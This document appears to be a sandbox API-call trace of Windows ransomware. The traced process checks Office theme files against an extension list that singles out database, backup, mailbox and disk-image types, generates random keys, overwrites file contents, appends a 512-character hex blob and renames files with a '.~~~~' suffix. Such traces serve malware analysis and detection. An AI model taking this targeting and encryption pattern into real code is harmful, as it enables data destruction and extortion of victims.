	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.330] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.332] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.332] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.332] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20632193892) returned 1
	[0086.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d432f50, dwHighDateTime=0x1d60e1e)) 
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dfc0
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dfc0 | out: hHeap=0x300000) returned 1
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0086.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.332] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.333] GetLastError () returned 0x0
	[0086.333] GetLastError () returned 0x0
	[0086.333] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.333] GetLastError () returned 0x0
	[0086.333] GetLastError () returned 0x0
	[0086.336] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff1dce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.336] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xe232, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xe232, lpOverlapped=0x0) returned 1
	[0086.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.337] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.337] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.337] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.337] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.337] CloseHandle (hObject=0x128) returned 1
	[0086.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5970
	[0086.337] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.~~~~")) returned 1
	[0086.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5970 | out: hHeap=0x300000) returned 1
	[0086.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.338] GetLastError () returned 0x0
	[0086.338] RtlWakeConditionVariable () returned 0x365f70
	[0086.338] GetCurrentThreadId () returned 0x9cc
	[0086.338] GetCurrentThreadId () returned 0x9cc
	[0086.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5f30 | out: hHeap=0x300000) returned 1
	[0086.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df50 | out: hHeap=0x300000) returned 1
	[0086.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5f30
	[0086.339] lstrlenW (lpString=".scr") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".scr") returned 0x0
	[0086.339] lstrlenW (lpString=".cmd") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".cmd") returned 0x0
	[0086.339] lstrlenW (lpString=".dll") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dll") returned 0x0
	[0086.339] lstrlenW (lpString=".bat") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".bat") returned 0x0
	[0086.339] lstrlenW (lpString=".cpl") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".cpl") returned 0x0
	[0086.339] lstrlenW (lpString=".sys") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".sys") returned 0x0
	[0086.339] lstrlenW (lpString=".msc") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".msc") returned 0x0
	[0086.339] lstrlenW (lpString=".com") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".com") returned 0x0
	[0086.339] lstrlenW (lpString=".lnk") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".lnk") returned 0x0
	[0086.339] lstrlenW (lpString=".msp") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".msp") returned 0x0
	[0086.339] lstrlenW (lpString=".pif") returned 4
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".pif") returned 0x0
	[0086.339] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.341] lstrlenW (lpString=".sqb") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".sqb") returned 0x0
	[0086.341] lstrlenW (lpString=".ost") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".ost") returned 0x0
	[0086.341] lstrlenW (lpString=".txt") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".txt") returned 0x0
	[0086.341] lstrlenW (lpString=".mdt") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".mdt") returned 0x0
	[0086.341] lstrlenW (lpString=".BDB") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".BDB") returned 0x0
	[0086.341] lstrlenW (lpString=".eql") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".eql") returned 0x0
	[0086.341] lstrlenW (lpString=".DBF") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DBF") returned 0x0
	[0086.341] lstrlenW (lpString=".EQL") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".EQL") returned 0x0
	[0086.341] lstrlenW (lpString=".FDB") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".FDB") returned 0x0
	[0086.341] lstrlenW (lpString=".EDB") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".EDB") returned 0x0
	[0086.341] lstrlenW (lpString=".DACPAC") returned 7
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DACPAC") returned 0x0
	[0086.341] lstrlenW (lpString=".VHD") returned 4
	[0086.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".VHD") returned 0x0
	[0086.341] lstrlenW (lpString=".DBV") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DBV") returned 0x0
	[0086.342] lstrlenW (lpString=".dacpac") returned 7
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dacpac") returned 0x0
	[0086.342] lstrlenW (lpString=".sdf") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".sdf") returned 0x0
	[0086.342] lstrlenW (lpString=".accdb") returned 6
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".accdb") returned 0x0
	[0086.342] lstrlenW (lpString=".DBX") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DBX") returned 0x0
	[0086.342] lstrlenW (lpString=".MDT") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".MDT") returned 0x0
	[0086.342] lstrlenW (lpString=".SQB") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".SQB") returned 0x0
	[0086.342] lstrlenW (lpString=".vhd") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".vhd") returned 0x0
	[0086.342] lstrlenW (lpString=".bac") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".bac") returned 0x0
	[0086.342] lstrlenW (lpString=".mdf") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".mdf") returned 0x0
	[0086.342] lstrlenW (lpString=".BAK") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".BAK") returned 0x0
	[0086.342] lstrlenW (lpString=".BAC") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".BAC") returned 0x0
	[0086.342] lstrlenW (lpString=".dbs") returned 4
	[0086.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dbs") returned 0x0
	[0086.343] lstrlenW (lpString=".vhdx") returned 5
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".vhdx") returned 0x0
	[0086.343] lstrlenW (lpString=".NDF") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".NDF") returned 0x0
	[0086.343] lstrlenW (lpString=".dat") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dat") returned 0x0
	[0086.343] lstrlenW (lpString=".DBS") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DBS") returned 0x0
	[0086.343] lstrlenW (lpString=".CKP") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".CKP") returned 0x0
	[0086.343] lstrlenW (lpString=".edb") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".edb") returned 0x0
	[0086.343] lstrlenW (lpString=".PST") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".PST") returned 0x0
	[0086.343] lstrlenW (lpString=".dbf") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dbf") returned 0x0
	[0086.343] lstrlenW (lpString=".SQL") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".SQL") returned 0x0
	[0086.343] lstrlenW (lpString=".pst") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".pst") returned 0x0
	[0086.343] lstrlenW (lpString=".dbv") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dbv") returned 0x0
	[0086.343] lstrlenW (lpString=".SDF") returned 4
	[0086.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".SDF") returned 0x0
	[0086.343] lstrlenW (lpString=".dtxs") returned 5
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dtxs") returned 0x0
	[0086.344] lstrlenW (lpString=".db3") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".db3") returned 0x0
	[0086.344] lstrlenW (lpString=".OST") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".OST") returned 0x0
	[0086.344] lstrlenW (lpString=".dbx") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dbx") returned 0x0
	[0086.344] lstrlenW (lpString=".DB3") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DB3") returned 0x0
	[0086.344] lstrlenW (lpString=".DAT") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DAT") returned 0x0
	[0086.344] lstrlenW (lpString=".VHDX") returned 5
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".VHDX") returned 0x0
	[0086.344] lstrlenW (lpString=".ndf") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".ndf") returned 0x0
	[0086.344] lstrlenW (lpString=".DB") returned 3
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DB") returned 0x0
	[0086.344] lstrlenW (lpString=".sql") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".sql") returned 0x0
	[0086.344] lstrlenW (lpString=".MYD") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".MYD") returned 0x0
	[0086.344] lstrlenW (lpString=".DBT") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DBT") returned 0x0
	[0086.344] lstrlenW (lpString=".ACCDB") returned 6
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".ACCDB") returned 0x0
	[0086.344] lstrlenW (lpString=".fdb") returned 4
	[0086.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".fdb") returned 0x0
	[0086.345] lstrlenW (lpString=".bak") returned 4
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".bak") returned 0x0
	[0086.345] lstrlenW (lpString=".myd") returned 4
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".myd") returned 0x0
	[0086.345] lstrlenW (lpString=".DTXS") returned 5
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".DTXS") returned 0x0
	[0086.345] lstrlenW (lpString=".ckp") returned 4
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".ckp") returned 0x0
	[0086.345] lstrlenW (lpString=".dbt") returned 4
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".dbt") returned 0x0
	[0086.345] lstrlenW (lpString=".db") returned 3
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".db") returned 0x0
	[0086.345] lstrlenW (lpString=".TXT") returned 4
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".TXT") returned 0x0
	[0086.345] lstrlenW (lpString=".MDF") returned 4
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".MDF") returned 0x0
	[0086.345] lstrlenW (lpString=".bdb") returned 4
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".bdb") returned 0x0
	[0086.345] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.345] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.346] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.347] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.347] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20633683234) returned 1
	[0086.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d4590b0, dwHighDateTime=0x1d60e1e)) 
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df50
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df50 | out: hHeap=0x300000) returned 1
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0086.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.347] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.348] GetLastError () returned 0x0
	[0086.348] GetLastError () returned 0x0
	[0086.348] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.348] GetLastError () returned 0x0
	[0086.348] GetLastError () returned 0x0
	[0086.350] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffd8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.350] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x271, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x271, lpOverlapped=0x0) returned 1
